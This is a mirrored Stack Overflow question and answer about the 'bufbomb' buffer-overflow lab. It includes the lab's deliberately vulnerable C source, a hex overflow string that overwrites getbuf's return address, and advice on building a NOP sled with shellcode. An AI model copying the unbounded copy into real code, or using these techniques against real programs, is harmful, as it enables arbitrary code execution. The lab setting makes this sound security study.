gpt4 book ai didi

c - bufbomb 堆栈溢出失败

转载 作者:行者123 更新时间:2023-11-30 15:32:58 25 4
gpt4 key购买 nike

我正在使用 bufbomb.c 进行一些缓冲区溢出攻击实验。

我成功使用gdb来调试代码。然而;当我直接运行程序时,当我输入字符尝试攻击时,我收到“段错误(核心转储)”

我使用了 gcc (Ubuntu/Linaro 4.8.1-10ubuntu9) 4.8.1。构建以下内容。

//bufbomb.c  
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even =1; /* Have read even number of digits */
int otherd =0; /* Other hex digit of pair */
char*sp = dest;
while ((c = getchar()) != EOF && c !='\n') {
if (isxdigit(c)) {
int val;
if ('0'<= c && c <='9')
val = c -'0';
else if ('A'<= c && c <='F')
val = c -'A'+10;
else
val = c -'a'+10;
if (even) {
otherd = val;
even =0;
}
else {
*sp++= otherd *16+ val;
even =1;
}
}
}
*sp++='\0';
return dest;
}

/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}

void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space =0; /* So that don't get complaint of unused variable */
test();
return 0;
}

然后我在gdb下执行:

...> gdb ./bugbomb
...
..run
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
getbuf returned 0xdeadbeef
[Inferior 1 (process 13530) exited normally]

然后没有 gdb::

./bufbomb 
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
Segmentation fault (core dumped)

我正在寻求一些帮助来解决段错误。

最佳答案

在 gdb 下使用更大的缓冲区运行它,看看它试图访问哪个地址,以猜测 getbuf() 使用的返回地址的堆栈偏移量。

为了承受因使用 gdb 而产生的内存偏移的微小差异,请使用 NOP-sled。您的攻击缓冲区应如下所示:

|RET ADDRESS x 30 | NOPS (0x90) x 1000 | SHELLCODE|.

返回地址应指向 NOP 雪橇的中间。

如果执行跳转到sled中的任何位置,它将滑向shellcode。

关于c - bufbomb 堆栈溢出失败,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23880669/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com